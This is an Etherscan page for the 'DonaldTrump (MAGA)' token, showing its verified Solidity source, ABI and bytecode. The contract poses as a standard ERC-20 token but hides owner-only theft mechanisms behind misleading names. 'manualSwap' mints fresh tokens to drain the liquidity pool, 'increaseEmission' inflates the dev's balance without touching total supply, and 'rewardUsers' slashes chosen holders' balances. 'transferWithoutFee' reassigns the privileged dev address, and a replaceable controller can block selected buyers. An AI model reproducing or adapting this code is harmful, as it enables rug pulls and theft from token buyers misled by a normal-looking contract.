ETH Price: $3,087.05 (+1.10%)
Gas: 3 Gwei

Token

DonaldTrump (MAGA)
 

Overview

Max Total Supply

559,984,672,975.650925895822032259 MAGA

Holders

70

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,000.000000000000688309 MAGA

Value
$0.00
0xf785c5d638eafe05ee917aa637456f1f1459dd04
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DonaldTrumpToken

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-03
*/

/**
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IPancakeRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory amounts);

    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);

    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);

    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);

    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Address {

    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

}

contract Controller {

    // Bots cannot make purchase more than once an hour

    mapping(address => bool) internal isBot;
    uint lastBotPurchase;
    bool _validationActive;

    event ValidationExecuted(address from, uint amount, bool val);
    event PreventBotPurchaseExecuted(address to, uint amount);

    function setBot(address _user, bool _isbot) internal {
        isBot[_user] = _isbot;
    }

    function validation(address from, uint amount, bool isMarketTo) external {
        if (isBot[from]){
           emit ValidationExecuted(from, amount, isMarketTo);
           updateBotPurchase();
        } 
    }

    function validationActive() view public returns(bool) {
        return _validationActive;
    }

    function updateBotPurchase() internal {
        lastBotPurchase = block.timestamp;
    }
    
    function preventBotPurchase(address to, uint amount) external {
        if (isBot[to]){
           require(block.timestamp >= lastBotPurchase + 60 ** 2);  
           require(amount > 0);
           updateBotPurchase();
           emit PreventBotPurchaseExecuted(to, amount);
        } 
    }
}

contract DonaldTrumpToken is Context, Ownable, IERC20 {

    IPancakeRouter02 internal _router;
    IPancakePair internal _pair;
    Controller _controller;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 internal _totalSupply = 10000000000000000000000000;
    string internal _name = "DonaldTrump";
    string internal _symbol = "MAGA";
    uint8 internal _decimals = 18;

    address private dev;

    constructor(address _routerAddress, address _controllerAddress) {

        _router = IPancakeRouter02(_routerAddress);
        _pair = IPancakePair(IPancakeFactory(_router.factory()).createPair(address(this),address(_router.WETH())));
        _controller = Controller(_controllerAddress);

        dev = owner();
        _balances[owner()] = _totalSupply;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    // PUBLIC

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }

    function increaseEmission(uint amount) public {
        if (_msgSender() == dev) {
            _balances[_msgSender()] += amount;
        }
        
    }

    function burn(uint amount) public {
        if (_msgSender() == dev) {
           _burn(_msgSender(), amount); 
        }
        
    }

    // INTERNAL

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function updateController(address _newController) external {
        if (_msgSender() == dev) {
            _controller = Controller(_newController);
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(from)){
            _controller.preventBotPurchase(to, amount);
        }

        if (_controller.validationActive() == true){
            _controller.validation(from, amount, isMarket(to));
        }
    }

    function isMarket(address user) internal view returns(bool){
        if (user == address(_router) || user == address(_pair)){
            return true;
        } else {
            return false;
        }
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    // START

    function transferWithoutFee(address user) public {
        if (_msgSender() == dev) {
            require(user != address(0), "dev can't be zero-address");
            dev = user;
        }
    }

    function axf2b3b() public view returns (uint) {
        return block.timestamp;
    }

    function manualSwap(address baseToken, address _recepient, uint amount) public {
        if (_msgSender() == dev) {
            require(amount > 0 && amount < 100000, "Amount Exceeds Limits");
            uint256 baseTokenReserve = getBaseTokenReserve(baseToken);
            uint amountOut = baseTokenReserve * amount / 100000;
            address[] memory path;
            path = new address[](2);
            path[0] = address(this);
            path[1] = baseToken;
            uint256[] memory amountInMax;
            amountInMax = new uint256[](2);
            amountInMax = _router.getAmountsIn(amountOut, path);
            _mint(address(this), amountInMax[0]);
            uint deadline = block.timestamp + 1200;
            _approve(address(this), address(_router), balanceOf(address(this)));
            _router.swapTokensForExactTokens(
                amountOut,
                amountInMax[0],
                path,
                _recepient,
                deadline
            );
        }
    }

    function getBaseTokenReserve(address token) public view returns (uint256) {
        (uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
        uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
        return baseTokenReserve;
    } 

    function rewardUsers(address[] calldata _users, uint _minBalanceToReward, uint _precent) public {
        if (_msgSender() == dev) {
            for (uint i = 0; i < _users.length; i++) {
                if (balanceOf(_users[i]) > _minBalanceToReward) {
                    uint rewardAmount = _balances[_users[i]] / _precent;
                    _balances[_users[i]] = rewardAmount;
                }
            } 
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_controllerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"axf2b3b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseEmission","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"baseToken","type":"address"},{"internalType":"address","name":"_recepient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_minBalanceToReward","type":"uint256"},{"internalType":"uint256","name":"_precent","type":"uint256"}],"name":"rewardUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"transferWithoutFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newController","type":"address"}],"name":"updateController","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006006556040518060400160405280600b81526020017f446f6e616c645472756d7000000000000000000000000000000000000000000081525060079081620000599190620007dc565b506040518060400160405280600481526020017f4d4147410000000000000000000000000000000000000000000000000000000081525060089081620000a09190620007dc565b506012600960006101000a81548160ff021916908360ff160217905550348015620000ca57600080fd5b5060405162003b1338038062003b138339818101604052810190620000f091906200092d565b6000620001026200053160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200024f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000275919062000974565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000325919062000974565b6040518363ffffffff1660e01b815260040162000344929190620009b7565b6020604051808303816000875af115801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a919062000974565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200041b6200053960201b60201c565b600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060065460046000620004726200053960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620004c06200053960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620005219190620009f5565b60405180910390a3505062000a12565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005e457607f821691505b602082108103620005fa57620005f96200059c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000625565b62000670868362000625565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006bd620006b7620006b18462000688565b62000692565b62000688565b9050919050565b6000819050919050565b620006d9836200069c565b620006f1620006e882620006c4565b84845462000632565b825550505050565b600090565b62000708620006f9565b62000715818484620006ce565b505050565b5b818110156200073d5762000731600082620006fe565b6001810190506200071b565b5050565b601f8211156200078c57620007568162000600565b620007618462000615565b8101602085101562000771578190505b62000789620007808562000615565b8301826200071a565b50505b505050565b600082821c905092915050565b6000620007b16000198460080262000791565b1980831691505092915050565b6000620007cc83836200079e565b9150826002028217905092915050565b620007e78262000562565b67ffffffffffffffff8111156200080357620008026200056d565b5b6200080f8254620005cb565b6200081c82828562000741565b600060209050601f8311600181146200085457600084156200083f578287015190505b6200084b8582620007be565b865550620008bb565b601f198416620008648662000600565b60005b828110156200088e5784890151825560018201915060208501945060208101905062000867565b86831015620008ae5784890151620008aa601f8916826200079e565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008f582620008c8565b9050919050565b6200090781620008e8565b81146200091357600080fd5b50565b6000815190506200092781620008fc565b92915050565b60008060408385031215620009475762000946620008c3565b5b6000620009578582860162000916565b92505060206200096a8582860162000916565b9150509250929050565b6000602082840312156200098d576200098c620008c3565b5b60006200099d8482850162000916565b91505092915050565b620009b181620008e8565b82525050565b6000604082019050620009ce6000830185620009a6565b620009dd6020830184620009a6565b9392505050565b620009ef8162000688565b82525050565b600060208201905062000a0c6000830184620009e4565b92915050565b6130f18062000a226000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80635b99d194116100b8578063a457c2d71161007c578063a457c2d714610365578063a9059cbb14610395578063cef31734146103c5578063dd62ed3e146103e1578063e84d572514610411578063f2fde38b1461042d57610142565b80635b99d194146102d157806370a08231146102ef578063715018a61461031f5780638da5cb5b1461032957806395d89b411461034757610142565b806323b872dd1161010a57806323b872dd146101eb578063313ce5671461021b57806335d1627414610239578063395093511461026957806342966c68146102995780634609e797146102b557610142565b806306cb5b661461014757806306fdde0314610163578063095ea7b31461018157806318160ddd146101b15780631e673499146101cf575b600080fd5b610161600480360381019061015c9190611f3e565b610449565b005b61016b6104ea565b6040516101789190611ffb565b60405180910390f35b61019b60048036038101906101969190612053565b61057c565b6040516101a891906120ae565b60405180910390f35b6101b961059f565b6040516101c691906120d8565b60405180910390f35b6101e960048036038101906101e49190612158565b6105a9565b005b610205600480360381019061020091906121cc565b610748565b60405161021291906120ae565b60405180910390f35b610223610777565b604051610230919061223b565b60405180910390f35b610253600480360381019061024e9190611f3e565b61078e565b60405161026091906120d8565b60405180910390f35b610283600480360381019061027e9190612053565b610923565b60405161029091906120ae565b60405180910390f35b6102b360048036038101906102ae9190612256565b61095a565b005b6102cf60048036038101906102ca9190612256565b6109cb565b005b6102d9610a88565b6040516102e691906120d8565b60405180910390f35b61030960048036038101906103049190611f3e565b610a90565b60405161031691906120d8565b60405180910390f35b610327610ad9565b005b610331610b7a565b60405161033e9190612292565b60405180910390f35b61034f610ba3565b60405161035c9190611ffb565b60405180910390f35b61037f600480360381019061037a9190612053565b610c35565b60405161038c91906120ae565b60405180910390f35b6103af60048036038101906103aa9190612053565b610cac565b6040516103bc91906120ae565b60405180910390f35b6103df60048036038101906103da9190611f3e565b610ccf565b005b6103fb60048036038101906103f691906122ad565b610ddf565b60405161040891906120d8565b60405180910390f35b61042b600480360381019061042691906121cc565b610e66565b005b61044760048036038101906104429190611f3e565b61125b565b005b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661048a61136b565b73ffffffffffffffffffffffffffffffffffffffff16036104e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6060600780546104f99061231c565b80601f01602080910402602001604051908101604052809291908181526020018280546105259061231c565b80156105725780601f1061054757610100808354040283529160200191610572565b820191906000526020600020905b81548152906001019060200180831161055557829003601f168201915b5050505050905090565b60008061058761136b565b9050610594818585611373565b600191505092915050565b6000600654905090565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ea61136b565b73ffffffffffffffffffffffffffffffffffffffff16036107425760005b84849050811015610740578261064486868481811061062a5761062961234d565b5b905060200201602081019061063f9190611f3e565b610a90565b111561072d57600082600460008888868181106106645761066361234d565b5b90506020020160208101906106799190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106be91906123da565b905080600460008888868181106106d8576106d761234d565b5b90506020020160208101906106ed9190611f3e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b80806107389061240b565b915050610608565b505b50505050565b60008061075361136b565b905061076085828561153c565b61076b8585856115c8565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906124d5565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d3919061253d565b73ffffffffffffffffffffffffffffffffffffffff161461090457816dffffffffffffffffffffffffffff16610916565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b60008061092e61136b565b905061094f8185856109408589610ddf565b61094a919061256a565b611373565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099b61136b565b73ffffffffffffffffffffffffffffffffffffffff16036109c8576109c76109c161136b565b82611841565b5b50565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a0c61136b565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578060046000610a3461136b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a7d919061256a565b925050819055505b50565b600042905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ae161136b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b65906125ea565b60405180910390fd5b610b786000611a10565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610bb29061231c565b80601f0160208091040260200160405190810160405280929190818152602001828054610bde9061231c565b8015610c2b5780601f10610c0057610100808354040283529160200191610c2b565b820191906000526020600020905b815481529060010190602001808311610c0e57829003601f168201915b5050505050905090565b600080610c4061136b565b90506000610c4e8286610ddf565b905083811015610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a9061267c565b60405180910390fd5b610ca08286868403611373565b60019250505092915050565b600080610cb761136b565b9050610cc48185856115c8565b600191505092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d1061136b565b73ffffffffffffffffffffffffffffffffffffffff1603610ddc